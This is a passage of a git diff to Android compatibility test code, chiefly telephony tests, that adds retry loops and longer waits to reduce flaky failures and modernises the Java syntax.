| TelephonyManager.NETWORK_TYPE_BITMASK_UMTS;
- long allowedNetworkTypes2 = TelephonyManager.NETWORK_TYPE_BITMASK_LTE
- | TelephonyManager.NETWORK_TYPE_BITMASK_LTE_CA;
+ long allowedNetworkTypes2 = TelephonyManager.NETWORK_TYPE_BITMASK_LTE;
long allowedNetworkTypes3 = TelephonyManager.NETWORK_TYPE_BITMASK_NR
| TelephonyManager.NETWORK_TYPE_BITMASK_LTE
| TelephonyManager.NETWORK_TYPE_BITMASK_UMTS;
@@ -3665,14 +3650,14 @@
(tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_THERMAL,
false));
- waitForMs(500);
+ waitForMs(1000);
boolean isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
TelephonyManager.DATA_ENABLED_REASON_THERMAL));
assertFalse(isDataEnabledForReason);
boolean isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
- mTelephonyManager, (tm) -> tm.isDataConnectionAllowed());
+ mTelephonyManager, TelephonyManager::isDataConnectionAllowed);
assertFalse(isDataConnectionAvailable);
ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
@@ -3680,14 +3665,14 @@
(tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_THERMAL,
true));
- waitForMs(500);
+ waitForMs(1000);
isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
TelephonyManager.DATA_ENABLED_REASON_THERMAL));
assertTrue(isDataEnabledForReason);
isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
- mTelephonyManager, (tm) -> tm.isDataConnectionAllowed());
+ mTelephonyManager, TelephonyManager::isDataConnectionAllowed);
assertTrue(isDataConnectionAvailable);
}
@@ -3698,19 +3683,27 @@
// Perform this test on default data subscription.
mTelephonyManager = getContext().getSystemService(TelephonyManager.class)
.createForSubscriptionId(SubscriptionManager.getDefaultDataSubscriptionId());
- ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
- mTelephonyManager,
- (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_POLICY,
- false));
- waitForMs(500);
- boolean isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
- mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
- TelephonyManager.DATA_ENABLED_REASON_POLICY));
+ int retry = 0;
+ boolean isDataEnabledForReason = true;
+ boolean isDataConnectionAvailable = true;
+ // NPMS will set policy data to true after tests set it to false,
+ // so retry disabling policy data to prevent flaky test failures.
+ // TODO: Set empty policies once we can suppress default policies.
+ while ((isDataEnabledForReason || isDataConnectionAvailable) && retry < 30) {
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+ mTelephonyManager,
+ (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_POLICY,
+ false));
+ isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
+ TelephonyManager.DATA_ENABLED_REASON_POLICY));
+ isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelephonyManager, TelephonyManager::isDataConnectionAllowed);
+ retry++;
+ waitForMs(500);
+ }
assertFalse(isDataEnabledForReason);
-
- boolean isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
- mTelephonyManager, (tm) -> tm.isDataConnectionAllowed());
assertFalse(isDataConnectionAvailable);
ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
@@ -3718,14 +3711,14 @@
(tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_POLICY,
true));
- waitForMs(500);
+ waitForMs(1000);
isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
TelephonyManager.DATA_ENABLED_REASON_POLICY));
assertTrue(isDataEnabledForReason);
isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
- mTelephonyManager, (tm) -> tm.isDataConnectionAllowed());
+ mTelephonyManager, TelephonyManager::isDataConnectionAllowed);
assertTrue(isDataConnectionAvailable);
}
@@ -3741,14 +3734,14 @@
(tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_CARRIER,
false));
- waitForMs(500);
+ waitForMs(1000);
boolean isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
TelephonyManager.DATA_ENABLED_REASON_CARRIER));
assertFalse(isDataEnabledForReason);
boolean isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
- mTelephonyManager, (tm) -> tm.isDataConnectionAllowed());
+ mTelephonyManager, TelephonyManager::isDataConnectionAllowed);
assertFalse(isDataConnectionAvailable);
ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
@@ -3756,13 +3749,13 @@
(tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_CARRIER,
true));
- waitForMs(500);
+ waitForMs(1000);
isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
TelephonyManager.DATA_ENABLED_REASON_CARRIER));
assertTrue(isDataEnabledForReason);
isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
- mTelephonyManager, (tm) -> tm.isDataConnectionAllowed());
+ mTelephonyManager, TelephonyManager::isDataConnectionAllowed);
assertTrue(isDataConnectionAvailable);
}
@@ -3775,14 +3768,14 @@
(tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_USER,
false));
- waitForMs(500);
+ waitForMs(1000);
boolean isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
TelephonyManager.DATA_ENABLED_REASON_USER));
assertFalse(isDataEnabledForReason);
boolean isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
- mTelephonyManager, (tm) -> tm.isDataConnectionAllowed());
+ mTelephonyManager, TelephonyManager::isDataConnectionAllowed);
assertFalse(isDataConnectionAvailable);
ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
@@ -3790,13 +3783,13 @@
(tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_USER,
true));
- waitForMs(500);
+ waitForMs(1000);
isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
TelephonyManager.DATA_ENABLED_REASON_USER));
assertTrue(isDataEnabledForReason);
isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
- mTelephonyManager, (tm) -> tm.isDataConnectionAllowed());
+ mTelephonyManager, TelephonyManager::isDataConnectionAllowed);
assertTrue(isDataConnectionAvailable);
}
@@ -4005,15 +3998,14 @@
final String puk = "fake_puk";
final String newPin = "fake_new_pin";
- //Refer GSM 02.17 5.6 PIN Manangement
+ //Refer GSM 02.17 5.6 PIN Management
//To avoid that sim may enter PUK state,
//TC should be allowed when current Pin attempt count is reset with 3.
boolean isEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions(
mTelephonyManager, TelephonyManager::isIccLockEnabled);
PinResult result = ShellIdentityUtils.invokeMethodWithShellPermissions(
mTelephonyManager, (tm) -> tm.supplyIccLockPin(empty_pin));
- assertTrue(result.getResult() == PinResult.PIN_RESULT_TYPE_SUCCESS);
- if(result.getAttemptsRemaining() < 3){
+ if (result.getAttemptsRemaining() < 3) {
Log.d(TAG, "Skipping test and requires that reboot device and unlock pin successfully");
return;
}
@@ -4448,7 +4440,7 @@
private Set<CellIdentity> getRegisteredCellIdentities() {
ServiceState ss = mTelephonyManager.getServiceState();
- Set<CellIdentity> cidSet = new ArraySet<CellIdentity>(2);
+ Set<CellIdentity> cidSet = new ArraySet<>(2);
for (NetworkRegistrationInfo nri : ss.getNetworkRegistrationInfoListForTransportType(
AccessNetworkConstants.TRANSPORT_TYPE_WWAN)) {
if (nri.isRegistered()) cidSet.add(nri.getCellIdentity());
@@ -4474,7 +4466,7 @@
}
@Test
- public void testGetAllCellInfo() throws Throwable {
+ public void testGetAllCellInfo() {
assumeTrue(hasFeature(PackageManager.FEATURE_TELEPHONY_RADIO_ACCESS));
// For IRadio <1.5, just verify that calling the method doesn't throw an error.
if (mRadioVersion < RADIO_HAL_VERSION_1_5) {
@@ -4482,7 +4474,9 @@
return;
}
- for (CellInfo cellInfo : mTelephonyManager.getAllCellInfo()) {
+ List<CellInfo> allCellInfo = mTelephonyManager.getAllCellInfo();
+ assertTrue(!allCellInfo.isEmpty());
+ for (CellInfo cellInfo : allCellInfo) {
CellIdentity cellIdentity = cellInfo.getCellIdentity();
int[] bands;
if (cellIdentity instanceof CellIdentityLte) {
@@ -4761,12 +4755,7 @@
return major * 100 + minor;
}
- private Executor mSimpleExecutor = new Executor() {
- @Override
- public void execute(Runnable r) {
- r.run();
- }
- };
+ private Executor mSimpleExecutor = Runnable::run;
private static MockSignalStrengthsTelephonyCallback mMockSignalStrengthsTelephonyCallback;
@@ -4831,16 +4820,14 @@
}
grantLocationPermissions();
- TestThread t = new TestThread(new Runnable() {
- public void run() {
- Looper.prepare();
- mMockCellInfoListener = new MockCellInfoListener();
- synchronized (mLock) {
- mLock.notify(); // listener is ready
- }
-
- Looper.loop();
+ TestThread t = new TestThread(() -> {
+ Looper.prepare();
+ mMockCellInfoListener = new MockCellInfoListener();
+ synchronized (mLock) {
+ mLock.notify(); // listener is ready
}
+
+ Looper.loop();
});
synchronized (mLock) {
@@ -5053,7 +5040,7 @@
// passing slotMapping combination
UiccSlotMapping slotMapping1 = new UiccSlotMapping(0, 1, 1);
UiccSlotMapping slotMapping2 = new UiccSlotMapping(1, 0, 0);
- List<UiccSlotMapping> slotMappingList = new ArrayList<UiccSlotMapping>();
+ List<UiccSlotMapping> slotMappingList = new ArrayList<>();
slotMappingList.add(slotMapping1);
slotMappingList.add(slotMapping2);
try {
@@ -5162,6 +5149,37 @@
// expected
}
}
+
+ @Test
+ public void testIgnoreInvalidNetworkType() {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ return;
+ }
+
+ // NETWORK_TYPE_BITMASK_LTE_CA is invalid, should be converted into NETWORK_TYPE_BITMASK_LTE
+ long invalidAllowedNetworkTypes = TelephonyManager.NETWORK_TYPE_BITMASK_NR
+ | TelephonyManager.NETWORK_TYPE_BITMASK_LTE_CA;
+ long expectedAllowedNetworkTypes = TelephonyManager.NETWORK_TYPE_BITMASK_NR
+ | TelephonyManager.NETWORK_TYPE_BITMASK_LTE;
+ try {
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+ mTelephonyManager,
+ (tm) -> tm.setAllowedNetworkTypesForReason(
+ TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER,
+ invalidAllowedNetworkTypes));
+
+ long deviceAllowedNetworkTypes = ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelephonyManager, (tm) -> {
+ return tm.getAllowedNetworkTypesForReason(
+ TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER);
+ }
+ );
+ assertEquals(expectedAllowedNetworkTypes, deviceAllowedNetworkTypes);
+ } catch (SecurityException se) {
+ fail("testIgnoreInvalidNetworkType: SecurityException not expected");
+ }
+ }
+
@Test
public void getSimSlotMappingTest() {
assumeTrue(hasFeature(PackageManager.FEATURE_TELEPHONY_SUBSCRIPTION));
@@ -5193,139 +5211,105 @@
return true;
}
- private static class ServiceStateListener extends TelephonyCallback
- implements TelephonyCallback.ServiceStateListener {
- CountDownLatch mLatch;
- Predicate<ServiceState> mStateToWaitFor;
+ private static class ServiceStateRadioStateListener extends TelephonyCallback
+ implements TelephonyCallback.ServiceStateListener,
+ TelephonyCallback.RadioPowerStateListener {
+ ServiceState mServiceState;
+ int mRadioPowerState;
- ServiceStateListener(Predicate<ServiceState> stateToWaitFor) {
- mLatch = new CountDownLatch(1);
- mStateToWaitFor = stateToWaitFor;
+ ServiceStateRadioStateListener(ServiceState serviceState, int radioPowerState) {
+ mServiceState = serviceState;
+ mRadioPowerState = radioPowerState;
}
@Override
public void onServiceStateChanged(ServiceState ss) {
- if (mStateToWaitFor.test(ss)) {
- mLatch.countDown();
- }
- }
-
- public void waitForServiceStateChange(long timeout, TimeUnit unit) throws Exception {
- if (!mLatch.await(timeout, unit)) {
- throw new IllegalStateException("ServiceState did not change to satisfy condition");
- }
- }
- }
-
- private void waitForServiceState(Predicate<ServiceState> condition, long timeout, TimeUnit unit)
- throws Exception {
- ServiceStateListener callback = new ServiceStateListener(condition);
- ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
- mTelephonyManager,
- tm -> tm.registerTelephonyCallback(Runnable::run, callback));
- try {
- callback.waitForServiceStateChange(timeout, unit);
- } finally {
- mTelephonyManager.unregisterTelephonyCallback(callback);
- }
- }
-
- private static class RadioPowerStateListener extends TelephonyCallback
- implements TelephonyCallback.RadioPowerStateListener {
- CountDownLatch mLatch;
- @RadioPowerState int mStateToWaitFor;
-
- RadioPowerStateListener(@RadioPowerState int stateToWaitFor) {
- mLatch = new CountDownLatch(1);
- mStateToWaitFor = stateToWaitFor;
+ mServiceState = ss;
}
@Override
- public void onRadioPowerStateChanged(@RadioPowerState int state) {
- if (state == mStateToWaitFor) {
- mLatch.countDown();
- }
- }
-
- public void waitForRadioPowerStateChange() throws Exception {
- if (!mLatch.await(10, TimeUnit.SECONDS)) {
- throw new IllegalStateException(
- "Radio power state did not change to " + mStateToWaitFor);
- }
- }
- }
-
- private void setRadioPower(boolean powerOn) throws Exception {
- RadioPowerStateListener callback =
- new RadioPowerStateListener(
- powerOn
- ? TelephonyManager.RADIO_POWER_ON
- : TelephonyManager.RADIO_POWER_OFF);
- ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
- mTelephonyManager,
- tm -> tm.registerTelephonyCallback(Runnable::run, callback),
- permission.READ_PRIVILEGED_PHONE_STATE);
- try {
- ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
- mTelephonyManager,
- tm -> tm.setRadioEnabled(powerOn),
- permission.MODIFY_PHONE_STATE);
- callback.waitForRadioPowerStateChange();
- } finally {
- mTelephonyManager.unregisterTelephonyCallback(callback);
+ public void onRadioPowerStateChanged(int radioState) {
+ mRadioPowerState = radioState;
}
}
@Test
- public void testSetVoiceServiceStateOverride() throws Exception {
+ public void testSetVoiceServiceStateOverride() {
assumeTrue(hasFeature(PackageManager.FEATURE_TELEPHONY_CALLING));
+ ServiceStateRadioStateListener callback = new ServiceStateRadioStateListener(
+ mTelephonyManager.getServiceState(), mTelephonyManager.getRadioPowerState());
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+ tm -> tm.registerTelephonyCallback(Runnable::run, callback));
boolean turnedRadioOff = false;
boolean setServiceStateOverride = false;
try {
if (mTelephonyManager.getServiceState().getState() == ServiceState.STATE_IN_SERVICE) {
Log.i(TAG, "testSetVoiceServiceStateOverride: turning radio off to force OOS");
- setRadioPower(false);
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+ tm -> tm.setRadioPower(false), permission.MODIFY_PHONE_STATE);
turnedRadioOff = true;
// Wait until ServiceState reflects the power change
- waitForServiceState(
- ss -> ss.getState() != ServiceState.STATE_IN_SERVICE, 10, TimeUnit.SECONDS);
+ int retry = 0;
+ while ((callback.mRadioPowerState != TelephonyManager.RADIO_POWER_OFF
+ || callback.mServiceState.getState() == ServiceState.STATE_IN_SERVICE)
+ && retry < 10) {
+ retry++;
+ waitForMs(1000);
+ }
+ assertEquals(TelephonyManager.RADIO_POWER_OFF, callback.mRadioPowerState);
+ assertNotEquals(ServiceState.STATE_IN_SERVICE, callback.mServiceState.getState());
}
// This could be OUT_OF_SERVICE or POWER_OFF, it doesn't really matter for this test as
// long as it's not IN_SERVICE
- int originalServiceState = mTelephonyManager.getServiceState().getState();
+ ServiceState serviceState = mTelephonyManager.getServiceState();
+ int retry = 0;
+ while (serviceState == null && retry < 3) {
+ serviceState = mTelephonyManager.getServiceState();
+ retry++;
+ waitForMs(200);
+ }
+ int originalServiceState = serviceState != null ? serviceState.getState()
+ : callback.mServiceState.getState();
Log.i(TAG, "testSetVoiceServiceStateOverride: originalSS = " + originalServiceState);
assertNotEquals(ServiceState.STATE_IN_SERVICE, originalServiceState);
- // Wait for device to finish processing RADIO_POWER_OFF.
- // Otherwise, Telecom will clear the voice state override before SST processes it.
- waitForMs(10000);
+ // Telecom will sometimes remove the override after radio reboots.
+ // Retry setting the override to prevent flaky test failures.
+ int listenerState = callback.mServiceState.getState();
+ int telephonyManagerState = originalServiceState;
+ retry = 0;
+ while ((listenerState != ServiceState.STATE_IN_SERVICE
+ || telephonyManagerState != ServiceState.STATE_IN_SERVICE) && retry < 3) {
+ // We should see the override in both ServiceStateListener and getServiceState
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+ tm -> tm.setVoiceServiceStateOverride(true),
+ permission.BIND_TELECOM_CONNECTION_SERVICE);
+ setServiceStateOverride = true;
- // We should see the override reflected by both ServiceStateListener and getServiceState
- ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
- mTelephonyManager,
- tm -> tm.setVoiceServiceStateOverride(true),
- permission.BIND_TELECOM_CONNECTION_SERVICE);
- setServiceStateOverride = true;
- waitForServiceState(
- ss -> ss.getState() == ServiceState.STATE_IN_SERVICE, 5, TimeUnit.SECONDS);
- assertEquals(
- ServiceState.STATE_IN_SERVICE, mTelephonyManager.getServiceState().getState());
+ serviceState = mTelephonyManager.getServiceState();
+ if (serviceState != null) {
+ telephonyManagerState = serviceState.getState();
+ }
+ listenerState = callback.mServiceState.getState();
+ retry++;
+ waitForMs(5000);
+ }
+ assertEquals(ServiceState.STATE_IN_SERVICE, listenerState);
+ assertEquals(ServiceState.STATE_IN_SERVICE, telephonyManagerState);
// When we take away the override, things flip back to the original state since there
// were no other material changes made to the device that would impact ServiceState
- ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
- mTelephonyManager,
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
tm -> tm.setVoiceServiceStateOverride(false),
permission.BIND_TELECOM_CONNECTION_SERVICE);
- waitForServiceState(ss -> ss.getState() == originalServiceState, 5, TimeUnit.SECONDS);
+ assertEquals(originalServiceState, callback.mServiceState.getState());
assertEquals(originalServiceState, mTelephonyManager.getServiceState().getState());
} finally {
if (setServiceStateOverride) {
// No harm in calling this again if we already did, but call just in case we failed
// an assertion related to setOverride(true)
- ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
- mTelephonyManager,
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
tm -> tm.setVoiceServiceStateOverride(false),
permission.BIND_TELECOM_CONNECTION_SERVICE);
}
@@ -5333,11 +5317,18 @@
// Turn the radio back on and wait for ServiceState to become stable again so we
// don't cause flakes in other tests
Log.i(TAG, "testSetVoiceServiceStateOverride: turning radio back on");
- setRadioPower(true);
- waitForServiceState(
- ss -> ss.getState() == ServiceState.STATE_IN_SERVICE, 30, TimeUnit.SECONDS);
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+ tm -> tm.setRadioPower(true), permission.MODIFY_PHONE_STATE);
+ int retry = 0;
+ while ((callback.mRadioPowerState != TelephonyManager.RADIO_POWER_ON
+ || callback.mServiceState.getState() != ServiceState.STATE_IN_SERVICE)
+ && retry < 10) {
+ retry++;
+ waitForMs(1000);
+ }
+ assertEquals(TelephonyManager.RADIO_POWER_ON, callback.mRadioPowerState);
+ assertEquals(ServiceState.STATE_IN_SERVICE, callback.mServiceState.getState());
}
}
}
}
-
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java
index 81850a8..7a76aca 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java
@@ -179,6 +179,7 @@
// Remove the SIM
assertTrue(sMockModemManager.removeSimCard(slotId));
+ TimeUnit.SECONDS.sleep(2);
simCardState = sTelephonyManager.getSimCardState();
assertEquals(TelephonyManager.SIM_STATE_ABSENT, simCardState);
}
diff --git a/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsDownloadSessionTest.java b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsDownloadSessionTest.java
index 910050f..eed8158 100644
--- a/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsDownloadSessionTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsDownloadSessionTest.java
@@ -57,6 +57,10 @@
// Make sure we got the streaming services
List<FileServiceInfo> serviceInfos =
(List<FileServiceInfo>) mCallback.waitOnFileServicesUpdated().arg1;
+ if (!CtsDownloadService.FILE_SERVICE_INFO.equals(serviceInfos.get(0))) {
+ mDownloadSession.requestUpdateFileServices(testClasses);
+ serviceInfos = (List<FileServiceInfo>) mCallback.waitOnFileServicesUpdated().arg1;
+ }
assertEquals(CtsDownloadService.FILE_SERVICE_INFO, serviceInfos.get(0));
assertEquals(0, mCallback.getNumErrorCalls());
diff --git a/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsStreamingSessionTest.java b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsStreamingSessionTest.java
index 436f611..a6850b2 100644
--- a/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsStreamingSessionTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsStreamingSessionTest.java
@@ -24,12 +24,12 @@
import android.telephony.mbms.MbmsErrors;
import android.telephony.mbms.StreamingServiceInfo;
+import org.junit.Test;
+
import java.util.Arrays;
import java.util.Collections;
import java.util.List;
-import org.junit.Test;
-
public class MbmsStreamingSessionTest extends MbmsStreamingTestBase {
@Test
public void testDuplicateSession() throws Exception {
@@ -50,6 +50,11 @@
// Make sure we got the streaming services
List<StreamingServiceInfo> serviceInfos =
(List<StreamingServiceInfo>) mCallback.waitOnStreamingServicesUpdated().arg1;
+ if (!CtsStreamingService.STREAMING_SERVICE_INFO.equals(serviceInfos.get(0))) {
+ mStreamingSession.requestUpdateStreamingServices(testClasses);
+ serviceInfos =
+ (List<StreamingServiceInfo>) mCallback.waitOnStreamingServicesUpdated().arg1;
+ }
assertEquals(CtsStreamingService.STREAMING_SERVICE_INFO, serviceInfos.get(0));
assertEquals(0, mCallback.getNumErrorCalls());
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
index 2cb2ecc..2c37415 100644
--- a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
@@ -44,7 +44,6 @@
import org.junit.After;
import org.junit.Before;
-import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -191,12 +190,11 @@
EuiccManager.EMBEDDED_SUBSCRIPTION_RESULT_ERROR, mCallbackReceiver.getResultCode());
}
- @Ignore("b/221887933") // TODO: Enable the test case after framework code is uncommented
@Test
public void testSwitchToSubscritionDisableWithNoPortAndChangesCompatDisabled()
throws Exception {
- // test disabled state only for now
- if (mEuiccManager.isEnabled()) {
+ // Only test it when EuiccManager is enabled.
+ if (!mEuiccManager.isEnabled()) {
return;
}
// disable compact change
@@ -232,11 +230,10 @@
SWITCH_WITHOUT_PORT_INDEX_EXCEPTION_ON_DISABLE_STRING);
}
- @Ignore("b/221887933") // TODO: Enable the test case after framework code is uncommented
@Test
public void testSwitchToSubscriptionDisableWithNoPort() throws Exception {
- // test disabled state only for now
- if (mEuiccManager.isEnabled()) {
+ // Only test it when EuiccManager is enabled.
+ if (!mEuiccManager.isEnabled()) {
return;
}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
index 507d0d5..300449c 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
@@ -3784,6 +3784,8 @@
bundle.putPersistableBundle(
CarrierConfigManager.Ims.KEY_RCS_REQUIRES_PROVISIONING_BUNDLE,
innerBundle);
+ bundle.putBoolean(
+ CarrierConfigManager.KEY_CARRIER_RCS_PROVISIONING_REQUIRED_BOOL, false);
overrideCarrierConfig(bundle);
diff --git a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
index 91005ed..90e5888 100644
--- a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
+++ b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
@@ -2431,6 +2431,51 @@
assertEquals(Tuner.RESULT_UNAVAILABLE, status);
}
}
+ // validate the behavior of tune
+ FrontendInfo info1 = mTuner.getFrontendInfoById(ids.get(0));
+ FrontendSettings feSettings1 = createFrontendSettings(info1);
+ int type1 = info1.getType();
+ if (ids.size() >= 1) {
+ int originalMax1 = mTuner.getMaxNumberOfFrontends(type1);
+ assertEquals(Tuner.RESULT_SUCCESS, mTuner.tune(feSettings1));
+ assertNotNull(mTuner.getFrontendInfo());
+
+ // validate that set max cannot be set to lower value than current usage
+ assertEquals(Tuner.RESULT_INVALID_ARGUMENT,
+ mTuner.setMaxNumberOfFrontends(type1, 0));
+
+ // validate max value is reflected in the tune behavior
+ mTuner.closeFrontend();
+ assertEquals(Tuner.RESULT_SUCCESS,
+ mTuner.setMaxNumberOfFrontends(type1, 0));
+ assertEquals(Tuner.RESULT_UNAVAILABLE,
+ mTuner.tune(feSettings1));
+
+ assertEquals(Tuner.RESULT_SUCCESS,
+ mTuner.setMaxNumberOfFrontends(type1, originalMax1));
+ assertEquals(Tuner.RESULT_SUCCESS, mTuner.tune(feSettings1));
+ assertNotNull(mTuner.getFrontendInfo());
+ mTuner.closeFrontend();
+ }
+
+ // validate max number on one frontend type has no impact on other
+ if (ids.size() >= 2) {
+ FrontendInfo info2 = mTuner.getFrontendInfoById(ids.get(1));
+ int type2 = info2.getType();
+ int originalMax2 = mTuner.getMaxNumberOfFrontends(type2);
+
+ assertEquals(Tuner.RESULT_SUCCESS,
+ mTuner.setMaxNumberOfFrontends(type2, 0));
+ assertEquals(Tuner.RESULT_SUCCESS,
+ mTuner.tune(feSettings1));
+ assertNotNull(mTuner.getFrontendInfo());
+
+ // set it back to the original max
+ assertEquals(Tuner.RESULT_SUCCESS,
+ mTuner.setMaxNumberOfFrontends(type2, originalMax2));
+ mTuner.closeFrontend();
+
+ }
}
public static Filter createTsSectionFilter(
diff --git a/tests/tests/view/src/android/view/cts/SurfaceControlTest.java b/tests/tests/view/src/android/view/cts/SurfaceControlTest.java
index eab4ba5..abb148c 100644
--- a/tests/tests/view/src/android/view/cts/SurfaceControlTest.java
+++ b/tests/tests/view/src/android/view/cts/SurfaceControlTest.java
@@ -1193,10 +1193,10 @@
}
@Test
- public void testSurfaceTransaction_setDataSpace_bt2020() {
+ public void testSurfaceTransaction_setDataSpace_display_p3() {
final int darkRed = 0xFF00006F;
long converted = Color.convert(0x6F / 255.f, 0f, 0f, 1f,
- ColorSpace.get(ColorSpace.Named.BT2020), ColorSpace.get(ColorSpace.Named.SRGB));
+ ColorSpace.get(ColorSpace.Named.DISPLAY_P3), ColorSpace.get(ColorSpace.Named.SRGB));
assertTrue(Color.isSrgb(converted));
int argb = Color.toArgb(converted);
// PixelChecker uses a ABGR for some reason (endian mismatch with native?), swizzle to match
@@ -1207,7 +1207,7 @@
public void surfaceCreated(SurfaceHolder holder) {
SurfaceControl surfaceControl = createFromWindow(holder);
setSolidBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT,
- darkRed, DataSpace.DATASPACE_BT2020);
+ darkRed, DataSpace.DATASPACE_DISPLAY_P3);
}
},
new PixelChecker(asABGR) { //10000
diff --git a/tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityBlockingTest.java b/tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityBlockingTest.java
index bef7167..1829c17 100644
--- a/tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityBlockingTest.java
+++ b/tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityBlockingTest.java
@@ -28,6 +28,7 @@
import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
import static org.junit.Assert.assertThrows;
+import static org.junit.Assume.assumeTrue;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.anyInt;
import static org.mockito.ArgumentMatchers.argThat;
@@ -47,6 +48,7 @@
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
+import android.content.pm.PackageManager;
import android.graphics.PixelFormat;
import android.hardware.display.DisplayManager;
import android.hardware.display.VirtualDisplay;
@@ -110,6 +112,9 @@
public void setUp() throws Exception {
MockitoAnnotations.initMocks(this);
Context context = getApplicationContext();
+ assumeTrue(
